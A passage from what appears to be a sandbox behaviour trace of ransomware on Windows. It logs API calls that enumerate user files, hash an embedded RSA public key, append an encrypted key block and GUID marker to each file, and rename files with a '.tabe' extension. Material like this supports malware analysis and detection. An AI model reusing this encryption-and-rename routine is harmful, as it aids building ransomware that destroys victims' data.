ftCreationTime.dwLowDateTime=0x145f1990, ftCreationTime.dwHighDateTime=0x1d5d8d8, ftLastAccessTime.dwLowDateTime=0xd2316120, ftLastAccessTime.dwHighDateTime=0x1d5e491, ftLastWriteTime.dwLowDateTime=0xd2316120, ftLastWriteTime.dwHighDateTime=0x1d5e491, nFileSizeHigh=0x0, nFileSizeLow=0x1cae, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="E1TV UCn.swf", cAlternateFileName="E1TVUC~1.SWF")) returned 0 [0127.794] FindClose (in: hFindFile=0x3463848 | out: hFindFile=0x3463848) returned 1 [0127.794] PeekMessageW (in: lpMsg=0x3dcff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcff08) returned 0 [0127.794] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0127.794] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\kG_PXJbnjFaNbAU-m\\oCqyZ9iQA\\q6HFvlwmitePYeveT6\\") returned="q6HFvlwmitePYeveT6\\" [0127.794] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\kG_PXJbnjFaNbAU-m\\oCqyZ9iQA\\") returned="oCqyZ9iQA\\" [0127.794] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\kG_PXJbnjFaNbAU-m\\") returned="kG_PXJbnjFaNbAU-m\\" [0127.794] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\") returned="Videos\\" [0127.794] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0127.794] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0127.795] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0127.795] PathFindFileNameW (pszPath="") returned="" [0127.795] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\kG_PXJbnjFaNbAU-m\\oCqyZ9iQA\\q6HFvlwmitePYeveT6\\*", lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc1b74730, ftCreationTime.dwHighDateTime=0x1d5da3a, ftLastAccessTime.dwLowDateTime=0xdf6fb360, ftLastAccessTime.dwHighDateTime=0x1d5db94, ftLastWriteTime.dwLowDateTime=0xdf6fb360, ftLastWriteTime.dwHighDateTime=0x1d5db94, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName=".", cAlternateFileName="")) returned 0x3463848 [0127.795] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc1b74730, ftCreationTime.dwHighDateTime=0x1d5da3a, ftLastAccessTime.dwLowDateTime=0xdf6fb360, ftLastAccessTime.dwHighDateTime=0x1d5db94, ftLastWriteTime.dwLowDateTime=0xdf6fb360, ftLastWriteTime.dwHighDateTime=0x1d5db94, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="..", cAlternateFileName="")) returned 1 [0127.795] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39c17410, ftCreationTime.dwHighDateTime=0x1d5e0f0, ftLastAccessTime.dwLowDateTime=0x75ea5120, ftLastAccessTime.dwHighDateTime=0x1d5d888, ftLastWriteTime.dwLowDateTime=0x75ea5120, ftLastWriteTime.dwHighDateTime=0x1d5d888, nFileSizeHigh=0x0, nFileSizeLow=0xe7a0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="CUuHu8mLIPr7VZVz7.mkv", cAlternateFileName="CUUHU8~1.MKV")) returned 1 [0127.795] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\kG_PXJbnjFaNbAU-m\\oCqyZ9iQA\\q6HFvlwmitePYeveT6\\CUuHu8mLIPr7VZVz7.mkv") returned=".mkv" [0127.795] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\kG_PXJbnjFaNbAU-m\\oCqyZ9iQA\\q6HFvlwmitePYeveT6\\CUuHu8mLIPr7VZVz7.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\kg_pxjbnjfanbau-m\\ocqyz9iqa\\q6hfvlwmitepyevet6\\cuuhu8mlipr7vzvz7.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0127.795] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=59296) returned 1 [0127.795] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0127.796] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xe77a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.796] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0127.797] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0xe7a0, lpOverlapped=0x0) returned 1 [0127.798] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.798] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.798] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.798] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866d90) returned 1 [0127.799] CryptCreateHash (in: hProv=0x866d90, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0127.799] CryptHashData (hHash=0x3463888, pbData=0x3ae95d8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0127.799] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0127.799] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0127.799] CryptDestroyHash (hHash=0x3463888) returned 1 [0127.799] CryptReleaseContext (hProv=0x866d90, dwFlags=0x0) returned 1 [0127.799] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0127.799] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0127.799] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0127.800] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x3aefb48, Size=0x218) returned 0x3af7be8 [0127.800] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xe7a0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.800] WriteFile (in: hFile=0x618, lpBuffer=0x347b558*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x347b558*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0127.800] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0127.800] WriteFile (in: hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 [0127.800] CloseHandle (hObject=0x618) returned 1 [0127.801] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\kG_PXJbnjFaNbAU-m\\oCqyZ9iQA\\q6HFvlwmitePYeveT6\\CUuHu8mLIPr7VZVz7.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\kg_pxjbnjfanbau-m\\ocqyz9iqa\\q6hfvlwmitepyevet6\\cuuhu8mlipr7vzvz7.mkv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\kG_PXJbnjFaNbAU-m\\oCqyZ9iQA\\q6HFvlwmitePYeveT6\\CUuHu8mLIPr7VZVz7.mkv.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\kg_pxjbnjfanbau-m\\ocqyz9iqa\\q6hfvlwmitepyevet6\\cuuhu8mlipr7vzvz7.mkv.tabe")) returned 1 [0127.802] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13b639f0, ftCreationTime.dwHighDateTime=0x1d5e02c, ftLastAccessTime.dwLowDateTime=0xcbe92940, ftLastAccessTime.dwHighDateTime=0x1d5de21, ftLastWriteTime.dwLowDateTime=0xcbe92940, ftLastWriteTime.dwHighDateTime=0x1d5de21, nFileSizeHigh=0x0, nFileSizeLow=0x7bf6, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="DO4 jZSG3cyi.mkv", cAlternateFileName="DO4JZS~1.MKV")) returned 1 [0127.802] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\kG_PXJbnjFaNbAU-m\\oCqyZ9iQA\\q6HFvlwmitePYeveT6\\DO4 jZSG3cyi.mkv") returned=".mkv" [0127.802] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\kG_PXJbnjFaNbAU-m\\oCqyZ9iQA\\q6HFvlwmitePYeveT6\\DO4 jZSG3cyi.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\kg_pxjbnjfanbau-m\\ocqyz9iqa\\q6hfvlwmitepyevet6\\do4 jzsg3cyi.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0127.803] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=31734) returned 1 [0127.803] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0127.804] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x7bd0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.804] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0127.805] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0x7bf6, lpOverlapped=0x0) returned 1 [0127.806] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.806] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.806] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.806] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866d90) returned 1 [0127.807] CryptCreateHash (in: hProv=0x866d90, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0127.807] CryptHashData (hHash=0x3463888, pbData=0x3ae95d8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0127.807] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0127.807] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0127.807] CryptDestroyHash (hHash=0x3463888) returned 1 [0127.807] CryptReleaseContext (hProv=0x866d90, dwFlags=0x0) returned 1 [0127.807] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0127.807] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0127.807] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0127.807] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x3aefb48, Size=0x218) returned 0x3af7be8 [0127.807] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x7bf6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.807] WriteFile (in: hFile=0x618, lpBuffer=0x347b558*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x347b558*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0127.808] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0127.808] WriteFile (in: hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 [0127.808] CloseHandle (hObject=0x618) returned 1 [0127.808] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\kG_PXJbnjFaNbAU-m\\oCqyZ9iQA\\q6HFvlwmitePYeveT6\\DO4 jZSG3cyi.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\kg_pxjbnjfanbau-m\\ocqyz9iqa\\q6hfvlwmitepyevet6\\do4 jzsg3cyi.mkv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\kG_PXJbnjFaNbAU-m\\oCqyZ9iQA\\q6HFvlwmitePYeveT6\\DO4 jZSG3cyi.mkv.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\kg_pxjbnjfanbau-m\\ocqyz9iqa\\q6hfvlwmitepyevet6\\do4 jzsg3cyi.mkv.tabe")) returned 1 [0127.810] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13b639f0, ftCreationTime.dwHighDateTime=0x1d5e02c, ftLastAccessTime.dwLowDateTime=0xcbe92940, ftLastAccessTime.dwHighDateTime=0x1d5de21, ftLastWriteTime.dwLowDateTime=0xcbe92940, ftLastWriteTime.dwHighDateTime=0x1d5de21, nFileSizeHigh=0x0, nFileSizeLow=0x7bf6, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="DO4 jZSG3cyi.mkv", cAlternateFileName="DO4JZS~1.MKV")) returned 0 [0127.810] FindClose (in: hFindFile=0x3463848 | out: hFindFile=0x3463848) returned 1 [0127.810] PeekMessageW (in: lpMsg=0x3dcff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcff08) returned 0 [0127.810] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0127.810] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\") returned="10.0\\" [0127.810] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\") returned="Acrobat\\" [0127.810] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\*", lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd6e27e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe5b04330, ftLastAccessTime.dwHighDateTime=0x1d35d05, ftLastWriteTime.dwLowDateTime=0xe5b04330, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName=".", cAlternateFileName="")) returned 0x3463848 [0127.812] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd6e27e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe5b04330, ftLastAccessTime.dwHighDateTime=0x1d35d05, ftLastWriteTime.dwLowDateTime=0xe5b04330, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="..", cAlternateFileName="")) returned 1 [0127.812] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd9b6a040, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd9b6a040, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xde963ca0, ftLastWriteTime.dwHighDateTime=0x1d2e625, nFileSizeHigh=0x0, nFileSizeLow=0xa5ff, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="rdrmessage.zip", cAlternateFileName="RDRMES~1.ZIP")) returned 1 [0127.812] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\rdrmessage.zip") returned=".zip" [0127.812] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\rdrmessage.zip" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\adobe\\acrobat\\10.0\\rdrmessage.zip"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0127.813] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=42495) returned 1 [0127.813] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0127.814] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xa5d9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.814] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0127.815] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0xa5ff, lpOverlapped=0x0) returned 1 [0127.816] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.816] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.816] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.816] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866ea0) returned 1 [0127.817] CryptCreateHash (in: hProv=0x866ea0, Algid=0x8003, hKey=0x0, dwFlags=0x0, 